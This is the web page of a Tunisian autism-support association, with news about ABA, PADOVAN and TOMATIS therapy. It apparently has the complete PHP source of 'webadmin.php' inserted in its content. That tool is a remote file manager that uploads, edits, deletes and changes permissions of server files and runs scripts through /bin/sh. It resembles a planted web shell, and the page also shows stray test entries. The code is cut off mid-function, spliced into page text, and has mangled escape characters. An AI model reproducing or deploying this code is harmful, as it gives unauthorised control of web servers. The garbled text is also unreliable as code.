Pas à Pas
Pas à Pas
Pas à Pas
Recherche sur le site

Accueil


> aa
> Alimentation & Diététique
> bonjour hamdi
> Conférences & Rendez-vous
> Définitions, Infos médicales...
> Infos Juridiques
> Méthode A.B.A.
> Méthode de NEUROFEEDBACK
> Méthode PADOVAN
> Méthode TOMATIS

> QUI SOMMES-NOUS ?
> Rapports
> Adresses Utiles
> Liens
> Bibliographie

Retrouvez-nous sur FB




Infos en Bref

Soutenez PAS A PAS

<?php

// source: http://cker.name/webadmin/

/*

 * webadmin.php - a simple Web-based file manager

 * Copyright (C) 2004-2011  Daniel Wacker [daniel dot wacker at web dot de]

 *

 * This program is free software; you can redistribute it and/or modify

 * it under the terms of the GNU General Public License as published by

 * the Free Software Foundation; either version 2 of the License, or

 * (at your option) any later version.

 *

 * This program is distributed in the hope that it will be useful,

 * but WITHOUT ANY WARRANTY; without even the implied warranty of

 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the

 * GNU General Public License for more details.

 *

 * You should have received a copy of the GNU General Public License

 * along with this program; if not, write to the Free Software

 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

 *

 * -------------------------------------------------------------------------

 * While using this script, do NOT navigate with your browser's back and

 * forward buttons! Always open files in a new browser tab!

 * -------------------------------------------------------------------------

 *

 * This is Version 0.9, revision 12

 * =========================================================================

 *

 * Changes of revision 12

 * [bhb at o2 dot pl]

 *    added Polish translation

 * [daniel dot wacker at web dot de]

 *    switched to UTF-8

 *    fixed undefined variable

 *

 * Changes of revision 11

 * [daniel dot wacker at web dot de]

 *    fixed handling if folder isn't readable

 *

 * Changes of revision 10

 * [alex dash smirnov at web.de]

 *    added Russian translation

 * [daniel dot wacker at web dot de]

 *    added </td> to achieve valid XHTML (thanks to Marc Magos)

 *    improved delete function

 * [ava at asl dot se]

 *    new list order: folders first

 *

 * Changes of revision 9

 * [daniel dot wacker at web dot de]

 *    added workaround for directory listing, if lstat() is disabled

 *    fixed permisson of uploaded files (thanks to Stephan Duffner)

 *

 * Changes of revision 8

 * [okankan at stud dot sdu dot edu dot tr]

 *    added Turkish translation

 * [j at kub dot cz]

 *    added Czech translation

 * [daniel dot wacker at web dot de]

 *    improved charset handling

 *

 * Changes of revision 7

 * [szuniga at vtr dot net]

 *    added Spanish translation

 * [lars at soelgaard dot net]

 *    added Danish translation

 * [daniel dot wacker at web dot de]

 *    improved rename dialog

 *

 * Changes of revision 6

 * [nederkoorn at tiscali dot nl]

 *    added Dutch translation

 *

 * Changes of revision 5

 * [daniel dot wacker at web dot de]

 *    added language auto select

 *    fixed symlinks in directory listing

 *    removed word-wrap in edit textarea

 *

 * Changes of revision 4

 * [daloan at guideo dot fr]

 *    added French translation

 * [anders at wiik dot cc]

 *    added Swedish translation

 *

 * Changes of revision 3

 * [nzunta at gabriele dash erba dot it]

 *    improved Italian translation

 *

 * Changes of revision 2

 * [daniel dot wacker at web dot de]

 *    got images work in some old browsers

 *    fixed creation of directories

 *    fixed files deletion

 *    improved path handling

 *    added missing word 'not_created'

 * [till at tuxen dot de]

 *    improved human readability of file sizes

 * [nzunta at gabriele dash erba dot it]

 *    added Italian translation

 *

 * Changes of revision 1

 * [daniel dot wacker at web dot de]

 *    webadmin.php completely rewritten:

 *    - clean XHTML/CSS output

 *    - several files selectable

 *    - support for windows servers

 *    - no more treeview, because

 *      - webadmin.php is a >simple< file manager

 *      - performance problems (too much additional code)

 *      - I don't like: frames, java-script, to reload after every treeview-click

 *    - execution of shell scripts

 *    - introduced revision numbers

 *

/* ------------------------------------------------------------------------- */


/* Your language:

 * 'en' - English

 * 'de' - German

 * 'fr' - French

 * 'it' - Italian

 * 'nl' - Dutch

 * 'se' - Swedish

 * 'sp' - Spanish

 * 'dk' - Danish

 * 'tr' - Turkish

 * 'cs' - Czech

 * 'ru' - Russian

 * 'pl' - Polish

 * 'auto' - autoselect

 */

$lang = 'auto';


/* Homedir:

 * For example: './' - the script's directory

 */

$homedir = './';


/* Size of the edit textarea

 */

$editcols = 80;

$editrows = 25;


/* -------------------------------------------

 * Optional configuration (remove # to enable)

 */


/* Permission of created directories:

 * For example: 0705 would be 'drwx---r-x'.

 */

# $dirpermission = 0705;


/* Permission of created files:

 * For example: 0604 would be '-rw----r--'.

 */

# $filepermission = 0604;


/* Filenames related to the apache web server:

 */

$htaccess = '.htaccess';

$htpasswd = '.htpasswd';


/* ------------------------------------------------------------------------- */


if (get_magic_quotes_gpc()) {

  array_walk($_GET, 'strip');

  array_walk($_POST, 'strip');

  array_walk($_REQUEST, 'strip');

}


if (array_key_exists('image', $_GET)) {

  header('Content-Type: image/gif');

  die(getimage($_GET['image']));

}


if (!function_exists('lstat')) {

  function lstat ($filename) {

    return stat($filename);

  }

}


$delim = DIRECTORY_SEPARATOR;


if (function_exists('php_uname')) {

  $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;

} else {

  $win = ($delim == '\') ? true : false;

}


if (!empty($_SERVER['PATH_TRANSLATED'])) {

  $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);

} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {

  $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);

} elseif (function_exists('getcwd')) {

  $scriptdir = getcwd();

} else {

  $scriptdir = '.';

}

$homedir = relative2absolute($homedir, $scriptdir);


$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;


if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {

  $dir = relative2absolute($dir, $_POST['olddir']);

}


$directory = simplify_path(addslash($dir));


$files = array();

$action = '';

if (!empty($_POST['submit_all'])) {

  $action = $_POST['action_all'];

  for ($i = 0; $i < $_POST['num']; $i++) {

    if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {

      $files[] = $_POST["file$i"];

    }

  }

} elseif (!empty($_REQUEST['action'])) {

  $action = $_REQUEST['action'];

  $files[] = relative2absolute($_REQUEST['file'], $directory);

} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {

  $files[] = $_FILES['upload'];

  $action = 'upload';

} elseif (array_key_exists('num', $_POST)) {

  for ($i = 0; $i < $_POST['num']; $i++) {

    if (array_key_exists("submit$i", $_POST)) break;

  }

  if ($i < $_POST['num']) {

    $action = $_POST["action$i"];

    $files[] = $_POST["file$i"];

  }

}

if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {

  $files[] = relative2absolute($_POST['create_name'], $directory);

  switch ($_POST['create_type']) {

  case 'directory':

    $action = 'create_directory';

    break;

  case 'file':

    $action = 'create_file';

  }

}

if (sizeof($files) == 0) $action = ''; else $file = reset($files);


if ($lang == 'auto') {

  if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {

    $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);

  } else {

    $lang = 'en';

  }

}


$words = getwords($lang);


if ($site_charset == 'auto') {

  $site_charset = $word_charset;

}


$cols = ($win) ? 4 : 7;


if (!isset($dirpermission)) {

  $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;

}

if (!isset($filepermission)) {

  $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;

}


if (!empty($_SERVER['SCRIPT_NAME'])) {

  $self = html(basename($_SERVER['SCRIPT_NAME']));

} elseif (!empty($_SERVER['PHP_SELF'])) {

  $self = html(basename($_SERVER['PHP_SELF']));

} else {

  $self = '';

}


if (!empty($_SERVER['SERVER_SOFTWARE'])) {

  if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {

    $apache = true;

  } else {

    $apache = false;

  }

} else {

  $apache = true;

}


switch ($action) {


case 'view':


  if (is_script($file)) {


    /* highlight_file is a mess! */

    ob_start();

    highlight_file($file);

    $src = ereg_replace('<font color="([^"]*)">', '<span style="color: 1">', ob_get_contents());

    $src = str_replace(array('</font>', "r", "n"), array('</span>', '', ''), $src);

    ob_end_clean();


    html_header();

    echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>


<hr />


<table>

<tr>

<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">

<pre style="margin-top: 0"><code>';


    for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$in";


    echo '</code></pre>

</td>

<td style="text-align: left; vertical-align: top; padding-left: 3pt">

<pre style="margin-top: 0">' . $src . '</pre>

</td>

</tr>

</table>


';


    html_footer();


  } else {


    header('Content-Type: ' . getmimetype($file));

    header('Content-Disposition: filename=' . basename($file));


    readfile($file);


  }


  break;


case 'download':


  header('Pragma: public');

  header('Expires: 0');

  header('Cache-Control: must-revalidate, post-check=0, pre-check=0');

  header('Content-Type: ' . getmimetype($file));

  header('Content-Disposition: attachment; filename=' . basename($file) . ';');

  header('Content-Length: ' . filesize($file));


  readfile($file);


  break;


case 'upload':


  $dest = relative2absolute($file['name'], $directory);


  if (@file_exists($dest)) {

    listing_page(error('already_exists', $dest));

  } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {

    @chmod($dest, $filepermission);

    listing_page(notice('uploaded', $file['name']));

  } else {

    listing_page(error('not_uploaded', $file['name']));

  }


  break;


case 'create_directory':


  if (@file_exists($file)) {

    listing_page(error('already_exists', $file));

  } else {

    $old = @umask(0777 & ~$dirpermission);

    if (@mkdir($file, $dirpermission)) {

      listing_page(notice('created', $file));

    } else {

      listing_page(error('not_created', $file));

    }

    @umask($old);

  }


  break;


case 'create_file':


  if (@file_exists($file)) {

    listing_page(error('already_exists', $file));

  } else {

    $old = @umask(0777 & ~$filepermission);

    if (@touch($file)) {

      edit($file);

    } else {

      listing_page(error('not_created', $file));

    }

    @umask($old);

  }


  break;


case 'execute':


  chdir(dirname($file));


  $output = array();

  $retval = 0;

  exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);


  $error = ($retval == 0) ? false : true;


  if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');


  if ($error) {

    listing_page(error('not_executed', $file, implode("n", $output)));

  } else {

    listing_page(notice('executed', $file, implode("n", $output)));

  }


  break;


case 'delete':


  if (!empty($_POST['no'])) {

    listing_page();

  } elseif (!empty($_POST['yes'])) {


    $failure = array();

    $success = array();


    foreach ($files as $file) {

      if (del($file)) {

        $success[] = $file;

      } else {

        $failure[] = $file;

      }

    }


    $message = '';

    if (sizeof($failure) > 0) {

      $message = error('not_deleted', implode("n", $failure));

    }

    if (sizeof($success) > 0) {

      $message .= notice('deleted', implode("n", $success));

    }


    listing_page($message);


  } else {


    html_header();


    echo '<form action="' . $self . '" method="post">

<table class="dialog">

<tr>

<td class="dialog">

';


    request_dump();


    echo "t<b>" . word('really_delete') . '</b>

  <p>

';


    foreach ($files as $file) {

      echo "t" . html($file) . "<br />n";

    }


    echo '  </p>

  <hr />

  <input type="submit" name="no" value="' . word('no') . '" id="red_button" />

  <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />

</td>

</tr>

</table>

</form>


';


    html_footer();


  }


  break;


case 'rename':


  if (!empty($_POST['destination'])) {


    $dest = relative2absolute($_POST['destination'], $directory);


    if (!@file_exists($dest) && @rename($file, $dest)) {

      listing_page(notice('renamed', $file, $dest));

    } else {

      listing_page(error('not_renamed', $file, $dest));

    }


  } else {


    $name = basename($file);


    html_header();


    echo '<form action="' . $self . '" method="post">


<table class="dialog">

<tr>

<td class="dialog">

  <input type="hidden" name="action" value="rename" />

  <input type="hidden" name="file" value="' . html($file) . '" />

  <input type="hidden" name="dir" value="' . html($directory) . '" />

  <b>' . word('rename_file') . '</b>

  <p>' . html($file) . '</p>

  <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>

  <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />

  <hr />

  <input type="submit" value="' . word('rename') . '" />

</td>

</tr>

</table>


<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>


</form>


';


    html_footer();


  }


  break;


case 'move':


  if (!empty($_POST['destination'])) {


    $dest = relative2absolute($_POST['destination'], $directory);


    $failure = array();

    $success = array();


    foreach ($files as $file) {

      $filename = substr($file, strlen($directory));

      $d = $dest . $filename;

      if (!@file_exists($d) && @rename($file, $d)) {

        $success[] = $file;

      } else {

        $failure[] = $file;

      }

    }


    $message = '';

    if (sizeof($failure) > 0) {

      $message = error('not_moved', implode("n", $failure), $dest);

    }

    if (sizeof($success) > 0) {

      $message .= notice('moved', implode("n", $success), $dest);

    }


    listing_page($message);


  } else {


    html_header();


    echo '<form action="' . $self . '" method="post">


<table class="dialog">

<tr>

<td class="dialog">

';


    request_dump();


    echo "t<b>" . word('move_files') . '</b>

  <p>

';


    foreach ($files as $file) {

      echo "t" . html($file) . "<br />n";

    }


    echo '  </p>

  <hr />

  ' . word('destination') . ':

  <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />

  <input type="submit" value="' . word('move') . '" />

</td>

</tr>

</table>


<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>


</form>


';


    html_footer();


  }


  break;


case 'copy':


  if (!empty($_POST['destination'])) {


    $dest = relative2absolute($_POST['destination'], $directory);


    if (@is_dir($dest)) {


      $failure = array();

      $success = array();


      foreach ($files as $file) {

        $filename = substr($file, strlen($directory));

        $d = addslash($dest) . $filename;

        if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {

          $success[] = $file;

        } else {

          $failure[] = $file;

        }

      }


      $message = '';

      if (sizeof($failure) > 0) {

        $message = error('not_copied', implode("n", $failure), $dest);

      }

      if (sizeof($success) > 0) {

        $message .= notice('copied', implode("n", $success), $dest);

      }


      listing_page($message);


    } else {


      if (!@file_exists($dest) && @copy($file, $dest)) {

        listing_page(notice('copied', $file, $dest));

      } else {

        listing_page(error('not_copied', $file, $dest));

      }


    }


  } else {


    html_header();


    echo '<form action="' . $self . '" method="post">


<table class="dialog">

<tr>

<td class="dialog">

';


    request_dump();


    echo "n<b>" . word('copy_files') . '</b>

  <p>

';


    foreach ($files as $file) {

      echo "t" . html($file) . "<br />n";

    }


    echo '  </p>

  <hr />

  ' . word('destination') . ':

  <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />

  <input type="submit" value="' . word('copy') . '" />

</td>

</tr>

</table>


<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>


</form>


';


    html_footer();


  }


  break;


case 'create_symlink':


  if (!empty($_POST['destination'])) {


    $dest = relative2absolute($_POST['destination'], $directory);


    if (substr($dest, -1, 1) == $delim) $dest .= basename($file);


    if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);


    if (!@file_exists($dest) && @symlink($file, $dest)) {

      listing_page(notice('symlinked', $file, $dest));

    } else {

      listing_page(error('not_symlinked', $file, $dest));

    }


  } else {


    html_header();


    echo '<form action="' . $self . '" method="post">


<table class="dialog" id="symlink">

<tr>

  <td style="vertical-align: top">' . word('destination') . ': </td>

  <td>

    <b>' . html($file) . '</b><br />

    <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />

    <label for="checkbox_relative">' . word('relative') . '</label>

    <input type="hidden" name="action" value="create_symlink" />

    <input type="hidden" name="file" value="' . html($file) . '" />

    <input type="hidden" name="dir" value="' . html($directory) . '" />

  </td>

</tr>

<tr>

  <td>' . word('symlink') . ': </td>

  <td>

    <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />

    <input type="submit" value="' . word('create_symlink') . '" />

  </td>

</tr>

</table>


<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>


</form>


';


    html_footer();


  }


  break;


case 'edit':


  if (!empty($_POST['save'])) {


    $content = str_replace("rn", "n", $_POST['content']);


    if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {

      listing_page(notice('saved', $file));

    } else {

      listing_page(error('not_saved', $file));

    }


  } else {


    if (@is_readable($file) && @is_writable($file)) {

      edit($file);

    } else {

      listing_page(error('not_edited', $file));

    }


  }


  break;


case 'permission':


  if (!empty($_POST['set'])) {


    $mode = 0;

    if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;

    if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;

    if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;


    if (@chmod($file, $mode)) {

      listing_page(notice('permission_set', $file, decoct($mode)));

    } else {

      listing_page(error('permission_not_set', $file, decoct($mode)));

    }


  } else {


    html_header();


    $mode = fileperms($file);


    echo '<form action="' . $self . '" method="post">


<table class="dialog">

<tr>

<td class="dialog">


  <p style="margin: 0">' . phrase('permission_for', $file) . '</p>


  <hr />


  <table id="permission">

  <tr>

    <td></td>

    <td style="border-right: 1px solid black">' . word('owner') . '</td>

    <td style="border-right: 1px solid black">' . word('group') . '</td>

    <td>' . word('other') . '</td>

  </tr>

  <tr>

    <td style="text-align: right">' . word('read') . ':</td>

    <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>

    <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>

    <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>

  </tr>

  <tr>

    <td style="text-align: right">' . word('write') . ':</td>

    <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>

    <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>

    <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>

  </tr>

  <tr>

    <td style="text-align: right">' . word('execute') . ':</td>

    <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>

    <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>

    <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>

  </tr>

  </table>


  <hr />


  <input type="submit" name="set" value="' . word('set') . '" />


  <input type="hidden" name="action" value="permission" />

  <input type="hidden" name="file" value="' . html($file) . '" />

  <input type="hidden" name="dir" value="' . html($directory) . '" />


</td>

</tr>

</table>


<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>


</form>


';


    html_footer();


  }


  break;


default:


  listing_page();


}


/* ------------------------------------------------------------------------- */


function getlist ($directory) {

  global $delim, $win;


  if ($d = @opendir($directory)) {


    while (($filename = @readdir($d)) !== false) {


      $path = $directory . $filename;


      if ($stat = @lstat($path)) {


        $file = array(

          'filename'    => $filename,

          'path'        => $path,

          'is_file'     => @is_file($path),

          'is_dir'      => @is_dir($path),

          'is_link'     => @is_link($path),

          'is_readable' => @is_readable($path),

          'is_writable' => @is_writable($path),

          'size'        => $stat['size'],

          'permission'  => $stat['mode'],

          'owner'       => $stat['uid'],

          'group'       => $stat['gid'],

          'mtime'       => @filemtime($path),

          'atime'       => @fileatime($path),

          'ctime'       => @filectime($path)

        );


        if ($file['is_dir']) {

          $file['is_executable'] = @file_exists($path . $delim . '.');

        } else {

          if (!$win) {

            $file['is_executable'] = @is_executable($path);

          } else {

            $file['is_executable'] = true;

          }

        }


        if ($file['is_link']) $file['target'] = @readlink($path);


        if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));

        if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));


        $files[] = $file;


      }


    }


    return $files;


  } else {

    return false;

  }


}


function sortlist ($list, $key, $reverse) {


  $dirs = array();

  $files = array();

  

  for ($i = 0; $i < sizeof($list); $i++) {

    if ($list[$i]['is_dir']) $dirs[] = $list[$i];

    else $files[] = $list[$i];

  }


  quicksort($dirs, 0, sizeof($dirs) - 1, $key);

  if ($reverse) $dirs = array_reverse($dirs);


  quicksort($files, 0, sizeof($files) - 1, $key);

  if ($reverse) $files = array_reverse($files);


  return array_merge($dirs, $files);


}


function quicksort (&$array, $first, $last, $key) {


  if ($first < $last) {


    $cmp = $array[floor(($first + $last) / 2)][$key];


    $l = $first;

    $r = $last;


    while ($l <= $r) {


      while ($array[$l][$key] < $cmp) $l++;

      while ($array[$r][$key] > $cmp) $r--;


      if ($l <= $r) {


        $tmp = $array[$l];

        $array[$l] = $array[$r];

        $array[$r] = $tmp;


        $l++;

        $r--;


      }


    }


    quicksort($array, $first, $r, $key);

    quicksort($array, $l, $last, $key);


  }


}


function permission_octal2string ($mode) {


  if (($mode & 0xC000) === 0xC000) {

    $type = 's';

  } elseif (($mode & 0xA000) === 0xA000) {

    $type = 'l';

  } elseif (($mode & 0x8000) === 0x8000) {

    $type = '-';

  } elseif (($mode & 0x6000) === 0x6000) {

    $type = 'b';

  } elseif (($mode & 0x4000) === 0x4000) {

    $type = 'd';

  } elseif (($mode & 0x2000) === 0x2000) {

    $type = 'c';

  } elseif (($mode & 0x1000) === 0x1000) {

    $type = 'p';

  } else {

    $type = '?';

  }


  $owner  = ($mode & 00400) ? 'r' : '-';

  $owner .= ($mode & 00200) ? 'w' : '-';

  if ($mode & 0x800) {

    $owner .= ($mode & 00100) ? 's' : 'S';

  } else {

    $owner .= ($mode & 00100) ? 'x' : '-';

  }


  $group  = ($mode & 00040) ? 'r' : '-';

  $group .= ($mode & 00020) ? 'w' : '-';

  if ($mode & 0x400) {

    $group .= ($mode & 00010) ? 's' : 'S';

  } else {

    $group .= ($mode & 00010) ? 'x' : '-';

  }


  $other  = ($mode & 00004) ? 'r' : '-';

  $other .= ($mode & 00002) ? 'w' : '-';

  if ($mode & 0x200) {

    $other .= ($mode & 00001) ? 't' : 'T';

  } else {

    $other .= ($mode & 00001) ? 'x' : '-';

  }


  return $type . $owner . $group . $other;


}


function is_script ($filename) {

  return ereg('.php$|.php3$|.php4$|.php5$', $filename);

}


function getmimetype ($filename) {

  static $mimes = array(

    '.jpg$|.jpeg$'  => 'image/jpeg',

    '.gif$'          => 'image/gif',

    '.png$'          => 'image/png',

    '.html$|.html$' => 'text/html',

    '.txt$|.asc$'   => 'text/plain',

    '.xml$|.xsl$'   => 'application/xml',

    '.pdf$'          => 'application/pdf'

  );


  foreach ($mimes as $regex => $mime) {

    if (eregi($regex, $filename)) return $mime;

  }


  // return 'application/octet-stream';

  return 'text/plain';


}


function del ($file) {

  global $delim;


  if (!file_exists($file)) return false;


  if (@is_dir($file) && !@is_link($file)) {


    $success = false;


    if (@rmdir($file)) {


      $success = true;


    } elseif ($dir = @opendir($file)) {


      $success = true;


      while (($f = readdir($dir)) !== false) {

        if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {

          $success = false;

        }

      }

      closedir($dir);


      if ($success) $success = @rmdir($file);


    }


    return $success;


  }


  return @unlink($file);


}


function addslash ($directory) {

  global $delim;


  if (substr($directory, -1, 1) != $delim) {

    return $directory . $delim;

  } else {

    return $directory;

  }


}


function relative2absolute ($string, $directory) {


  if (path_is_relative($string)) {

    return simplify_path(addslash($directory) . $string);

  } else {

    return simplify_path($string);

  }


}


function path_is_relative ($path) {

  global $win;


  if ($win) {

    return (substr($path, 1, 1) != ':');

  } else {

    return (substr($path, 0, 1) != '/');

  }


}


function absolute2relative ($directory, $target) {

  global $delim;


  $path = '';

  while ($directory != $target) {

    if ($directory == substr($target, 0, strlen($directory))) {

      $path .= substr($target, strlen($directory));

      break;

    } else {

      $path .= '..' . $delim;

      $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);

    }

  }

  if ($path == '') $path = '.';


  return $path;


}


function simplify_path ($path) {

  global $delim;


  if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {

    $path = realpath($path);

    if (@is_dir($path)) {

      return addslash($path);

    } else {

      return $path;

    }

  }


  $pattern  = $delim . '.' . $delim;


  if (@is_dir($path)) {

    $path = addslash($path);

  }


  while (strpos($path, $pattern) !== false) {

    $path = str_replace($pattern, $delim, $path);

  }


  $e = addslashes($delim);

  $regex = $e . '((.[^.' . $e . '][^' . $e . ']*)|(..[^' . $e . ']+)|([^.][^' . $e . ']*))' . $e . '..' . $e;


  while (ereg($regex, $path)) {

    $path = ereg_replace($regex, $delim, $path);

  }

  

  return $path;


}


function human_filesize ($filesize) {


  $suffices = 'kMGTPE';


  $n = 0;

  while ($filesize >= 1000) {

    $filesize /= 1024;

    $n++;

  }


  $filesize = round($filesize, 3 - strpos($filesize, '.'));


  if (strpos($filesize, '.') !== false) {

    while (in_array(substr($filesize, -1, 1), array('0', '.'))) {

      $filesize = substr($filesize, 0, strlen($filesize) - 1);

    }

  }


  $suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));


  return $filesize . " {$suffix}B";


}


function strip (&$str) {

  $str = stripslashes($str);

}


/* ------------------------------------------------------------------------- */


function listing_page ($message = null) {

  global $self, $directory, $sort, $reverse;


  html_header();


  $list = getlist($directory);


  if (array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';

  if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;


  echo '<h1 style="margin-bottom: 0">webadmin.php</h1>


<form enctype="multipart/form-data" action="' . $self . '" method="post">


<table id="main">

';


  directory_choice();


  if (!empty($message)) {

    spacer();

    echo $message;

  }


  if (@is_writable($directory)) {

    upload_box();

    create_box();

  } else {

    spacer();

  }


  if ($list) {

    $list = sortlist($list, $sort, $reverse);

    listing($list);

  } else {

    echo error('not_readable', $directory);

  }


  echo '</table>


</form>


';


  html_footer();


}


function listing ($list) {

  global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;


  echo '<tr class="listing">

  <th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>

';


  column_title('filename', $sort, $reverse);

  column_title('size', $sort, $reverse);


  if (!$win) {

    column_title('permission', $sort, $reverse);

    column_title('owner', $sort, $reverse);

    column_title('group', $sort, $reverse);

  }


  echo '  <th class="functions">' . word('functions') . '</th>

</tr>

';


  for ($i = 0; $i < sizeof($list); $i++) {

    $file = $list[$i];


    $timestamps  = 'mtime: ' . date($date_format, $file['mtime']) . ', ';

    $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';

    $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);


    echo '<tr class="listing">

  <td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate('other')" /></td>

  <td class="filename" title="' . html($timestamps) . '">';


    if ($file['is_link']) {


      echo '<img src="' . $self . '?image=link" alt="link" /> ';

      echo html($file['filename']) . ' &rarr; ';


      $real_file = relative2absolute($file['target'], $directory);


      if (@is_readable($real_file)) {

        if (@is_dir($real_file)) {

          echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';

        } else {

          echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';

        }

      } else {

        echo html($file['target']);

      }


    } elseif ($file['is_dir']) {


      echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';

      if ($win || $file['is_executable']) {

        echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';

      } else {

        echo html($file['filename']);

      }

      echo ' ]';


    } else {


      if (substr($file['filename'], 0, 1) == '.') {

        echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';

      } else {

        echo '<img src="' . $self . '?image=file" alt="file" /> ';

      }


      if ($file['is_file'] && $file['is_readable']) {

         echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>'; Pour en savoir plus...

BON A SAVOIR

05-02-2016
test ici
test ici
» Lire la suite
____________________

28-06-2012
STAGE A.B.A. Niveau 2
PAS A PAS organise du 3 au 6 Juillet 2012 un stage Niveau 2 à la méthode ABA pour parents et personnel de la santé. Le stage sera dirigé par la psychologue Lucie CODRON diplômée en analyse appliquée du comportement de l'université Lille 3. Le stage aura lieu au siège
» Lire la suite
____________________

27-06-2012
L'équipe PAS A PAS
PAS A PAS a mis en place une équipe pluridisciplinaire, dévouée à vos enfants et à votre disposition : Sonia ZAYANI (Pychologue clinicienne) Farah BEJI  (Pychologue clinicienne) Emani SARHAN (Pychologue clinicienne) Amel ELEUCH (Orthophoniste) Hana SLIMANE (Technicienne) Les 5 membres de l'équipe de PAS A PAS ont été formé à la méthode PADOVAN et
» Lire la suite
____________________

18-08-2011
Certification TOMATIS
L'Association PAS A PAS informe ses lecteurs qu'elle est certifiée par le groupe TOMATIS Dévelopement (Luxembourg). Cette certifcation se renouvelle d'année en année et nous venons de recevoir le dit certificat 2011 après avoir passé les vérifications de mise à niveau. Notre personnel à été également dûment formés aux méthodes Neurofeedback et
» Lire la suite
____________________

18-08-2011
PADOVAN
PAS A PAS à récemment introduit une nouvelle méthode de traitement de l'autisme en Tunisie au diapason de la recherche scientifique : la méthode PADOVAN. Nous sommes fonctionnels depuis le mois de Juillet 2011. La méthode est utilisée depuis 30 ans dans divers pays. Au Brésil, Mesdames PADOVAN, pratiquent la rééducation dans
» Lire la suite
